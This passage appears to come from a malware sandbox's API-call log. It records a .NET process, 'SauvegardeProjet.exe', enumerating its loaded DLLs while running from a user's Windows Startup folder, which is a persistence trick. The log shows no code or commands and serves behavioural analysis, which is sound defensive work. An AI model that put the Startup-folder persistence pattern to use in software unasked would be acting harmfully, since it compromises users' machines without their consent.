EntryPoint=0x75a63fd7)) returned 1 [0233.962] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.962] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0233.962] CoTaskMemFree (pv=0x4fb3308) [0233.962] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.962] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0233.962] CoTaskMemFree (pv=0x4fb3308) [0233.962] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x244c244, cb=0xc | out: lpmodinfo=0x244c244*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0233.963] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.963] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0233.963] CoTaskMemFree (pv=0x4fb3308) [0233.963] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.963] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0233.964] CoTaskMemFree (pv=0x4fb3308) [0233.964] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x244e348, cb=0xc | out: lpmodinfo=0x244e348*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0233.964] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.964] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0233.964] CoTaskMemFree (pv=0x4fb3308) [0233.964] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.964] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0233.965] CoTaskMemFree (pv=0x4fb3308) [0233.965] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x245044c, cb=0xc | out: lpmodinfo=0x245044c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0233.965] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.965] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0233.966] CoTaskMemFree (pv=0x4fb3308) [0233.966] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.966] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0233.966] CoTaskMemFree (pv=0x4fb3308) [0233.966] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x2452558, cb=0xc | out: lpmodinfo=0x2452558*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0233.967] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.967] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0233.967] CoTaskMemFree (pv=0x4fb3308) [0233.967] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.967] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0233.967] CoTaskMemFree (pv=0x4fb3308) [0233.967] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x2454688, cb=0xc | out: lpmodinfo=0x2454688*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0233.968] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.968] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0233.968] CoTaskMemFree (pv=0x4fb3308) [0233.968] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.968] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0233.969] CoTaskMemFree (pv=0x4fb3308) [0233.969] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x24567bc, cb=0xc | out: lpmodinfo=0x24567bc*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0233.969] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.969] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0233.970] CoTaskMemFree (pv=0x4fb3308) [0233.970] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.970] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0233.970] CoTaskMemFree (pv=0x4fb3308) [0233.970] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x2458964, cb=0xc | out: lpmodinfo=0x2458964*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0233.971] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.971] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0233.971] CoTaskMemFree (pv=0x4fb3308) [0233.971] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.971] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0233.972] CoTaskMemFree (pv=0x4fb3308) [0233.972] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x245aa68, cb=0xc | out: lpmodinfo=0x245aa68*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0233.972] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.972] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0233.973] CoTaskMemFree (pv=0x4fb3308) [0233.973] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.973] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0233.973] CoTaskMemFree (pv=0x4fb3308) [0233.974] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x245cb74, cb=0xc | out: lpmodinfo=0x245cb74*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0233.974] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.974] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0233.974] CoTaskMemFree (pv=0x4fb3308) [0233.974] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.974] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0233.975] CoTaskMemFree (pv=0x4fb3308) [0233.975] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x245ed10, cb=0xc | out: lpmodinfo=0x245ed10*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0233.975] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.975] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0233.976] CoTaskMemFree (pv=0x4fb3308) [0233.976] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.976] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0233.977] CoTaskMemFree (pv=0x4fb3308) [0233.977] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x2460ecc, cb=0xc | out: lpmodinfo=0x2460ecc*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0233.977] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.977] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0233.978] CoTaskMemFree (pv=0x4fb3308) [0233.978] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.978] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0233.978] CoTaskMemFree (pv=0x4fb3308) [0233.978] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x24630c0, cb=0xc | out: lpmodinfo=0x24630c0*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0233.979] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.979] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0233.980] CoTaskMemFree (pv=0x4fb3308) [0233.980] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.980] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0233.980] CoTaskMemFree (pv=0x4fb3308) [0233.980] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x2465200, cb=0xc | out: lpmodinfo=0x2465200*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0233.981] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.981] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0233.981] CoTaskMemFree (pv=0x4fb3308) [0233.981] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.981] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0233.982] CoTaskMemFree (pv=0x4fb3308) [0233.982] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x2467314, cb=0xc | out: lpmodinfo=0x2467314*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0233.982] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.982] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0233.983] CoTaskMemFree (pv=0x4fb3308) [0233.983] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.983] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0233.984] CoTaskMemFree (pv=0x4fb3308) [0233.984] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x24694e0, cb=0xc | out: lpmodinfo=0x24694e0*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0233.984] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.984] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0233.985] CoTaskMemFree (pv=0x4fb3308) [0233.985] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.985] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0233.985] CoTaskMemFree (pv=0x4fb3308) [0233.985] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x246b6d0, cb=0xc | out: lpmodinfo=0x246b6d0*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0233.986] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.986] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0233.986] CoTaskMemFree (pv=0x4fb3308) [0233.987] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.987] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0233.987] CoTaskMemFree (pv=0x4fb3308) [0233.987] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x246d8e8, cb=0xc | out: lpmodinfo=0x246d8e8*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0233.988] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.988] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0233.988] CoTaskMemFree (pv=0x4fb3308) [0233.988] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.988] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0233.989] CoTaskMemFree (pv=0x4fb3308) [0233.989] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x246f9f4, cb=0xc | out: lpmodinfo=0x246f9f4*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0233.989] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.989] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.990] CoTaskMemFree (pv=0x4fb3308) [0233.990] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.990] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0233.991] CoTaskMemFree (pv=0x4fb3308) [0233.991] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x2471bbc, cb=0xc | out: lpmodinfo=0x2471bbc*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0233.991] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.991] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0233.992] CoTaskMemFree (pv=0x4fb3308) [0233.992] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.992] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0233.993] CoTaskMemFree (pv=0x4fb3308) [0233.993] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x2473d0c, cb=0xc | out: lpmodinfo=0x2473d0c*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0233.993] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.993] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0233.994] CoTaskMemFree (pv=0x4fb3308) [0233.994] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.994] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0233.999] CoTaskMemFree (pv=0x4fb3308) [0234.000] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x2475f08, cb=0xc | out: lpmodinfo=0x2475f08*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0234.000] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.000] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0234.001] CoTaskMemFree (pv=0x4fb3308) [0234.001] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.001] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0234.001] CoTaskMemFree (pv=0x4fb3308) [0234.001] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x24780b8, cb=0xc | out: lpmodinfo=0x24780b8*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0234.002] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.002] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0234.003] CoTaskMemFree (pv=0x4fb3308) [0234.003] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.003] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0234.004] CoTaskMemFree (pv=0x4fb3308) [0234.004] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x247a280, cb=0xc | out: lpmodinfo=0x247a280*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0234.004] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.004] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0234.005] CoTaskMemFree (pv=0x4fb3308) [0234.005] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.005] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0234.006] CoTaskMemFree (pv=0x4fb3308) [0234.006] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x247c38c, cb=0xc | out: lpmodinfo=0x247c38c*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0234.006] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.006] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0234.007] CoTaskMemFree (pv=0x4fb3308) [0234.007] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.007] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0234.008] CoTaskMemFree (pv=0x4fb3308) [0234.008] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x247e498, cb=0xc | out: lpmodinfo=0x247e498*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0234.009] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.009] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0234.009] CoTaskMemFree (pv=0x4fb3308) [0234.009] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.009] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0234.063] CoTaskMemFree (pv=0x4fb3308) [0234.063] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x24805bc, cb=0xc | out: lpmodinfo=0x24805bc*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0234.064] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.064] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0234.064] CoTaskMemFree (pv=0x4fb3308) [0234.064] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.064] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0234.065] CoTaskMemFree (pv=0x4fb3308) [0234.065] CloseHandle (hObject=0x284) returned 1 [0234.140] GetCurrentProcessId () returned 0x564 [0234.140] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x284 [0234.140] EnumProcessModules (in: hProcess=0x284, lphModule=0x24c7efc, cb=0x100, lpcbNeeded=0x636cee0 | out: lphModule=0x24c7efc, lpcbNeeded=0x636cee0) returned 1 [0234.141] GetModuleInformation (in: hProcess=0x284, hModule=0x260000, lpmodinfo=0x24c803c, cb=0xc | out: lpmodinfo=0x24c803c*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0234.141] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.141] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0234.141] CoTaskMemFree (pv=0x4fb3308) [0234.141] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.141] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0234.141] CoTaskMemFree (pv=0x4fb3308) [0234.141] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x24ca21c, cb=0xc | out: lpmodinfo=0x24ca21c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0234.141] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.142] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0234.142] CoTaskMemFree (pv=0x4fb3308) [0234.142] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.142] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: 